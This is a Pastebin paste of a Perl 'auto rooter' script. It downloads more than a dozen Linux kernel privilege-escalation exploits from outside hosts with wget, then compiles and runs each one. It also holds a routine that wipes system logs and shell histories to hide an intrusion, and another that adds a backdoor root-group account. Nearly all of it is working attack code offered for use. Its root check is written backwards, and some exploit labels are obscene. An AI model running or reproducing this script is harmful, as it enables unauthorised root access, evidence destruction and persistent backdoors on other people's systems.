Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- print "###########################################################\n";
- print "# Auto rooter by #0xide #\n";
- print "# Usage : #\n";
- print "# perl $0 r00t => To root #\n";
- print "# perl $0 delete => Delete Exploit #\n";
- print "# perl $0 UserAdd => Add Root Account #\n";
- print "# ******************************************** #\n";
- print "# #\n";
- print "# #\n";
- print "#####################################################################\n\n\n";
- print "Gathering Exploit Database \n";
- print "18 exploits found \n";
- system("uname -a");
- system("id;pwd");
- check_root();
- if ($ARGV[0] =~ "r00t" ) {
- print "Trying wunderbar_emporium..\n";
- system("wget http://www.a4architect.com/wp-content/uploads/sock-sendpage-local-root-exploit/wunderbar_emporium.sh");
- system("chmod 777 wunderbar_emporium.sh");
- system("./wunderbar_emporium.sh");
- check_root();
- print "trying half-Nelson..\n";
- system("wget http://jon.oberheide.org/files/half-nelson.c");
- system(" gcc -o half_Nelson half-nelson.c");
- system("./half_Nelson");
- check_root();
- print " Trying mempodipper CVE_2012-0056 jan 21 2012..\n";
- system("wget http://downloads.securityfocus.com/vulnerabilities/exploits/51625.c");
- system("gcc -o MempoDip 51625.c");
- system("./MempoDip");
- check_root();
- print " Trying Linux Kernel 'MSR' Driver Local Privilege Escalation Vulnerability..\n";
- system("wget http://downloads.securityfocus.com/vulnerabilities/exploits/57838.c");
- system("gcc -o LinuxKMsr 57838.c");
- system("./LinuxKMsr");
- check_root();
- print "Trying Diane Lane gets Fucked Hard..\n";
- system("wget http://downloads.securityfocus.com/vulnerabilities/exploits/27704-2.c");
- system("gcc -o diane 27704-2.c");
- system("./diane");
- check_root();
- print "Trying gayros...\n";
- system("wget http://www.fotis.loukos.me/security/exploits/gayros-2.c");
- system("gcc -o gayros local-root-exploit-gayros.c");
- system("chmod 777 gayros");
- system("./gayros");
- check_root();
- print "Trying vmsplice...\n";
- system("wget http://www.marsaud.org/divers/vmsplice-local-root-exploit.c");
- system("gcc -o vmsplice-local-root-exploit vmsplice-local-root-exploit.c");
- system("chmod 777 vmsplice-local-root-exploit");
- system("./vmsplice-local-root-exploit");
- check_root();
- print "Trying 2.4-2.6 [ pwned ] localroot...\n";
- system("wget http://downloads.securityfocus.com/vulnerabilities/exploits/pwnedUselibKernelExploit.c");
- system("gcc pwnedUselibKernelExploit.c -o pwned");
- system("chmod 777 pwned");
- system("./pwned");
- check_root();
- print "Trying 2.6.4 [ hudo ] localroot...\n";
- system("wget http://downloads.securityfocus.com/vulnerabilities/exploits/hudo.c");
- system("gcc hudo.c -o hudo");
- system("chmod 777 hudo");
- system("./hudo");
- check_root();
- print "Trying 2.6.9-22 [ prctl ] localroot...\n";
- system("wget http://www.0xdeadbeef.info/exploits/raptor_prctl.c");
- system("gcc raptor_prctl.c -o prctl");
- system("chmod 777 prctl");
- system("./prctl");
- check_root();
- print "Trying 2.6.12 [ elfcd2 ] localroot...\n";
- system("wget http://rmccurdy.com/scripts/downloaded/localroot/Spaciel/elfcd2.c");
- system("gcc elfcd2.c -o elfcd2");
- system("chmod 777 elfcd2");
- system("./elfcd2");
- check_root();
- print "Trying 2.6.13-17 localroot...\n";
- system("wget http://rmccurdy.com/scripts/downloaded/localroot/Spaciel/2.6.13_17_4_2011.sh");
- system("chmod 755 2.6.13_17_4_2011.sh");
- system("./2.6.13_17_4_2011.sh");
- check_root();
- print "Trying 2.6.14 [ raptor ] localroot...\n";
- system("wget http://www.0xdeadbeef.info/exploits/raptor_udf.c");
- system("gcc raptor_udf.c -o raptor_udf");
- system("chmod 777 raptor_udf");
- system("./raptor_udf");
- check_root();
- print "Trying 2.6.15 [ raptor ] localroot...\n";
- system("wget http://www.0xdeadbeef.info/exploits/raptor_ldpreload.c");
- system("gcc raptor_ldpreload.c -o raptorpreload");
- system("chmod 777 raptorpreload");
- system("./raptorpreload");
- check_root();
- print "Trying 2.6.x localroot...\n";
- system("wget http://rmccurdy.com/scripts/downloaded/localroot/Spaciel/exp.sh");
- system("chmod 755 exp.sh");
- system("./exp.sh");
- check_root();
- print "Trying 2.6.x [ elflbl ] localroot...\n";
- system("wget http://rmccurdy.com/scripts/downloaded/localroot/Spaciel/elflbl");
- system("chmod 777 elflbl");
- system("./elflbl");
- check_root();
- print "Trying 2.6.x [ cw7.3 ] localroot...\n";
- system("wget http://rmccurdy.com/scripts/downloaded/localroot/Spaciel/cw7.3");
- system("chmod 777 cw7.3");
- system("./cw7.3");
- check_root();
- }
- sub check_root() {
- my $login = (getpwuid $>); die "You've not root." if $login eq 'root';
- print "the exploit appears to have been succesful it is recommended to delete exploit files\n\n";
- #cleanup();
- }
- sub wipe_logs()
- {
- print "rm -rf Log [ rm ] \n";
- system ("rm -rf /tmp/logs");
- system ("rm -rf /root/.ksh_history");
- system ("rm -rf /root/.bash_history");
- system ("rm -rf /root/.bash_logout");
- system ("rm -rf /usr/local/apache/logs");
- sleep(2);
- system ("rm -rf /usr/local/apache/log");
- system ("rm -rf /var/apache/logs");
- system ("rm -rf /var/apache/log");
- system ("rm -rf /var/run/utmp");
- system ("rm -rf /var/logs");
- system ("rm -rf /var/log");
- sleep(2);
- system ("rm -rf /var/adm");
- system ("rm -rf /etc/wtmp");
- system ("rm -rf /etc/utmp");
- system ("cd /bin");
- print "completed ... \n\n";
- }
- sub cleanup(){
- print "All Exploits Files Are Being Deleted ...\n";
- #system("rm wunderbar_emporium.sh;rm -rf half-nelson.c;rm 51625.c;rm -rf 57838.c;rm -rf 27704-2.c;rm -rf local-root-exploit-gayros.c;rm -rf vmsplice-local-root-exploit.c;rm -rf pwnedUselibKernelExploit.c;rm -rf hudo.c");
- #system("rm raptor_prctl.c;rm -rf elfcd2.c;rm 2.6.13_17_4_2011.sh;rm -rf raptor_udf.c;rm -rf raptor_ldpreload.c;rm -rf exp.sh;rm -rf elflbl;rm -rf cw7.3");
- }
- if ($ARGV[0] =~ "delete" ){
- cleanup();
- }
- if ($ARGV[0] =~ "remove" )
- {
- wipe_logs();
- }
- if ($ARGV[0] =~ "UserAdd" )
- {
- print "Add Root Account [ t ]\n";
- print "useradd : [ root0xide ]\n";
- system ("useradd root0xide -g 0 autoroot -G wheel,sys,bin,daemon,adm,disk -d /sf7 -s /bin/sh");
- system ("passwd root0xide");
- print "pass is : root0xide right it down check it twice \n";
- sleep(2);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement